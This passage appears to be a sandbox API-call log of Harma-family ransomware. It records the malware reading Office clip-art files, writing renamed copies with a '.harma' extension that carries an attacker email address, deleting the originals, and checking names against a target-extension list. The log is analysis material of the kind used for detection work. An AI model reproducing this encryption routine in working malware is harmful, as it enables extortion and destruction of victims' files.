[0144.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.804] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.804] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0144.805] GetLastError () returned 0x0 [0144.805] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x27a2, lpOverlapped=0x0) returned 1 [0145.159] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0145.160] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.161] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.161] SetEndOfFile (hFile=0x368) returned 1 [0145.674] CloseHandle (hObject=0x368) returned 1 [0145.674] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.674] SetEndOfFile (hFile=0x214) returned 1 [0145.677] CloseHandle (hObject=0x214) returned 1 [0145.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0145.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.678] lstrlenW (lpString=".doc") returned 4 [0145.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.678] lstrlenW (lpString=".docx") returned 5 [0145.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.678] lstrlenW (lpString=".pdf") returned 4 [0145.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.678] lstrlenW (lpString=".xls") returned 4 [0145.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.678] lstrlenW (lpString=".xlsx") returned 5 [0145.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.678] lstrlenW (lpString=".ppt") returned 4 [0145.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.678] lstrlenW (lpString=".zip") returned 4 [0145.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.678] lstrlenW (lpString=".rar") returned 4 [0145.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.678] lstrlenW (lpString=".bz2") returned 4 [0145.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.678] lstrlenW (lpString=".7z") returned 3 [0145.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.678] lstrlenW (lpString=".dbf") returned 4 [0145.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.678] lstrlenW (lpString=".1cd") returned 4 [0145.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.678] lstrlenW (lpString=".jpg") returned 4 [0145.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.679] lstrlenW (lpString=".doc") returned 4 [0145.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.679] lstrlenW (lpString=".docx") returned 5 [0145.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.679] lstrlenW (lpString=".pdf") returned 4 [0145.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.679] lstrlenW (lpString=".xls") returned 4 [0145.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.679] lstrlenW (lpString=".xlsx") returned 5 [0145.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.679] lstrlenW (lpString=".ppt") returned 4 [0145.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.679] lstrlenW (lpString=".zip") returned 4 [0145.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.679] lstrlenW (lpString=".rar") returned 4 [0145.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.679] lstrlenW (lpString=".bz2") returned 4 [0145.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.679] lstrlenW (lpString=".7z") returned 3 [0145.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.679] lstrlenW (lpString=".dbf") returned 4 [0145.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.679] lstrlenW (lpString=".1cd") returned 4 [0145.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0145.679] lstrlenW (lpString=".jpg") returned 4 [0145.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.680] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.680] lstrlenW (lpString="BL00262_.WMF") returned 12 [0145.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0146.075] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2556) returned 1 [0146.076] CloseHandle (hObject=0x328) returned 1 [0146.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0146.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.249] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.249] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0146.250] GetLastError () returned 0x0 [0146.250] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x9fc, lpOverlapped=0x0) returned 1 [0146.265] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xa00, lpOverlapped=0x0) returned 1 [0146.267] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.267] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.267] SetEndOfFile (hFile=0x218) returned 1 [0146.267] CloseHandle (hObject=0x218) returned 1 [0146.267] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.267] SetEndOfFile (hFile=0x354) returned 1 [0146.269] CloseHandle (hObject=0x354) returned 1 [0146.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0146.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.270] lstrlenW (lpString=".doc") returned 4 [0146.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.270] lstrlenW (lpString=".docx") returned 5 [0146.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.270] lstrlenW (lpString=".pdf") returned 4 [0146.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.270] lstrlenW (lpString=".xls") returned 4 [0146.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.270] lstrlenW (lpString=".xlsx") returned 5 [0146.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.270] lstrlenW (lpString=".ppt") returned 4 [0146.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.271] lstrlenW (lpString=".zip") returned 4 [0146.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.271] lstrlenW (lpString=".rar") returned 4 [0146.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.271] lstrlenW (lpString=".bz2") returned 4 [0146.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.271] lstrlenW (lpString=".7z") returned 3 [0146.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.271] lstrlenW (lpString=".dbf") returned 4 [0146.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.271] lstrlenW (lpString=".1cd") returned 4 [0146.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.271] lstrlenW (lpString=".jpg") returned 4 [0146.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.271] lstrlenW (lpString=".doc") returned 4 [0146.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.271] lstrlenW (lpString=".docx") returned 5 [0146.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.271] lstrlenW (lpString=".pdf") returned 4 [0146.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.271] lstrlenW (lpString=".xls") returned 4 [0146.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.271] lstrlenW (lpString=".xlsx") returned 5 [0146.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.272] lstrlenW (lpString=".ppt") returned 4 [0146.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.272] lstrlenW (lpString=".zip") returned 4 [0146.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.272] lstrlenW (lpString=".rar") returned 4 [0146.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.272] lstrlenW (lpString=".bz2") returned 4 [0146.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.272] lstrlenW (lpString=".7z") returned 3 [0146.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.272] lstrlenW (lpString=".dbf") returned 4 [0146.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.272] lstrlenW (lpString=".1cd") returned 4 [0146.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0146.272] lstrlenW (lpString=".jpg") returned 4 [0146.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.272] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.272] lstrlenW (lpString="BL00648_.WMF") returned 12 [0146.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.273] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=11500) returned 1 [0146.273] CloseHandle (hObject=0x354) returned 1 [0146.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0146.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.274] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.274] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0146.274] GetLastError () returned 0x0 [0146.274] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x2cec, lpOverlapped=0x0) returned 1 [0146.329] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0146.330] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.330] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.330] SetEndOfFile (hFile=0x218) returned 1 [0146.331] CloseHandle (hObject=0x218) returned 1 [0146.331] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.331] SetEndOfFile (hFile=0x354) returned 1 [0146.333] CloseHandle (hObject=0x354) returned 1 [0146.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0146.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.334] lstrlenW (lpString=".doc") returned 4 [0146.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.334] lstrlenW (lpString=".docx") returned 5 [0146.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.334] lstrlenW (lpString=".pdf") returned 4 [0146.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.334] lstrlenW (lpString=".xls") returned 4 [0146.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.334] lstrlenW (lpString=".xlsx") returned 5 [0146.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.334] lstrlenW (lpString=".ppt") returned 4 [0146.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.334] lstrlenW (lpString=".zip") returned 4 [0146.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.334] lstrlenW (lpString=".rar") returned 4 [0146.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.334] lstrlenW (lpString=".bz2") returned 4 [0146.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.334] lstrlenW (lpString=".7z") returned 3 [0146.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.335] lstrlenW (lpString=".dbf") returned 4 [0146.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.335] lstrlenW (lpString=".1cd") returned 4 [0146.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.335] lstrlenW (lpString=".jpg") returned 4 [0146.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.335] lstrlenW (lpString=".doc") returned 4 [0146.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.335] lstrlenW (lpString=".docx") returned 5 [0146.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.335] lstrlenW (lpString=".pdf") returned 4 [0146.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.335] lstrlenW (lpString=".xls") returned 4 [0146.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.335] lstrlenW (lpString=".xlsx") returned 5 [0146.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.335] lstrlenW (lpString=".ppt") returned 4 [0146.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.335] lstrlenW (lpString=".zip") returned 4 [0146.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.335] lstrlenW (lpString=".rar") returned 4 [0146.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.335] lstrlenW (lpString=".bz2") returned 4 [0146.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.335] lstrlenW (lpString=".7z") returned 3 [0146.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.336] lstrlenW (lpString=".dbf") returned 4 [0146.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.336] lstrlenW (lpString=".1cd") returned 4 [0146.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0146.336] lstrlenW (lpString=".jpg") returned 4 [0146.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.336] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.336] lstrlenW (lpString="BL00923_.WMF") returned 12 [0146.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.337] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=6256) returned 1 [0146.337] CloseHandle (hObject=0x354) returned 1 [0146.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0146.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.337] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, 